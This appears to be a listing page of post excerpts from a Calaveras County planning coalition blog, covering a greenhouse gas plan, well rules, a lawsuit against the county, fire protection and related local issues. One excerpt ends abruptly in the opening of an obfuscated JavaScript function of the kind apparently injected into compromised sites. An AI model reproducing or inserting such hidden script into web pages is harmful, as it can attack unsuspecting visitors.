ACTION ALERT: Public comments needed on Greenhouse Gas Reduction Plan this Thursday, April 28

Muriel Zeller / CAP/CPC / April 12, 2022 On Thursday, April 28, 2022, 9:00 AM, the Calaveras County Planning Commission will hear from staff and consultants on the proposed implementation measures for the Greenhouse Gas (GHG) Reduction Plan. The draft measures make for some interesting reading. It is a very ambitious draft plan, and the consultants suggest designating a department to implement the plan, hiring additional staff, and applying for... Read More

It might be harder to install a well in Calaveras County…

California has tightened rules for installing wells due to the drought. Read the fact sheet for more information. Last year, a region of Calaveras County was among the highest tapped locations for new wells, according to a late 2021 report. “Three locations in the state saw the highest local density of new irrigation wells, with five wells installed within one square mile. Just one of these locations was in the agricultural-rich yet... Read More

CPC v. BOS Lawsuit Updates

2022 Case Updates This press release reports that the County is slow to implement the 2019 General Plan Update, and that yet another recent appellate court case weakens the County’s defense of the 2019 General Plan Update. March 2022 Another New Case Means Deeper Legal Jeopardy for the Calaveras County General Plan 2021 Case Updates This guest editorial promotes the restoration of plans to meet the unique needs of the diverse communities... Read More

Get Informed! New homepage links for lawsuit

We’ve added a new, easy-to-access set of links to our homepage to read more about our ongoing lawsuit with the Calaveras County Board of Supervisors.  Scroll down and look on the left-hand sidebar to find “CAP v. Board of Supervisors”. Here you’ll find a direct link to read the petition yourself and a link to read history and updates on the lawsuit.  More updates coming soon! function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More

CA seeking input on homeless needs

HOME-American Rescue Plan Program HCD needs your input on homelessness needs within your community Take our survey and attend a focus group The California Department of Housing and Community Development (HCD) will soon announce $131 million in HOME-American Rescue Plan (ARP) funding to assist individuals or households who are homeless, at risk of homelessness, and other vulnerable populations, by providing funding for housing, rental assistance,... Read More

General Plan Implementation Update

At the Feb. 15 Board of Supervisors meeting, the Calaveras Planning Coalition provided the only public comment regarding an update to the General Plan implementation. Highlights include: -BOS speaks favorably of “dark sky ordinance” to limit light pollution and keep starry skies. -County to revisit Greenhouse Gas Reduction Plan this spring -Public meetings to start soon on zoning updates -BOS continues to defer most planning... Read More

Calaveras Planning Coalition Receives Third Grant from the Fund for Wild Nature

On December 1, 2021, the Community Action Project/Calaveras Planning Coalition received news of support from the Fund for Wild Nature for the third consecutive year. The Fund has been “investing in feisty grassroots action since 1982” by providing “small grants for North American campaigns to save native species and wild ecosystems, with particular emphasis on actions designed to defend threatened wilderness and biological diversity.”... Read More

FIRST CALAVERAS IMPORTANT FARMLAND MAP TO BE RELEASED

By Muriel Zeller November 4, 2021 According to a representative of the Department of Conservation (DOC) Division of Land Resource Protection, release of the Calaveras County Important Farmland Map is imminent. Completion and release of the map was one of the updated General Plan implementation priorities established by the Board of Supervisors in January 2020 and reiterated in January 2021.  According to the DOC website, “The Farmland... Read More

Calaveras Local Fire Protection Tax Initiative

Did you know there are places in Calaveras County that have a ONE HOUR response time? That first hour is critical, whether you’ve had a stroke or a fire is spreading quickly from a carelessly tossed cigarette. By increasing local SALES tax by only 1 cent per dollar spent, we can capture revenue from locals and tourists and put it to work protecting our local communities and supporting our amazing firefighters. If you are interested... Read More

CALFIRE addresses the role of fuel breaks in Caldor fire

While the Caldor fire has been burning, CALFIRE has been hosting community briefings where representatives from the various agencies on the fire have a chance to update the public, as well as answer questions. We asked CALFIRE a number of questions, and their response to our inquiry about the role fuel breaks played in helping fight the fire was particularly thorough and informative. Take just a few minutes to listen in and learn more about how fuel... Read More